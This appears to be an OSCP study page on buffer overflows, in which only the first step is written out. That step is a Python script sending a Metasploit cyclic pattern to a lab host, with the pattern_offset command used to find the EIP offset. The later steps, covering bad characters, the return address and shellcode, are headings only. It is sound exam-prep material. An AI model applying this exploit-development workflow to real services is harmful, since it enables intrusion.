OSCP BOF
Buffer Overflow (PEN-200 Edit)
1. Determine EIP Offset
#!/usr/bin/env python3
import socket
# msf-pattern_create -l 5000
buf = b'<UNIQUE_PATTERN>'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.13.37', 1337))
s.send(buf)
s.close()$ msf-pattern_offset -l 5000 -q <EIP_VALUE>
[*] Exact match at offset <EIP_OFFSET>2. Confirm BOF
3. Enumerate the Bad Characters
4. Build the Exploit
I. Find the Return Address
II. Generate a Shellcode
5. Exploit!
Last updated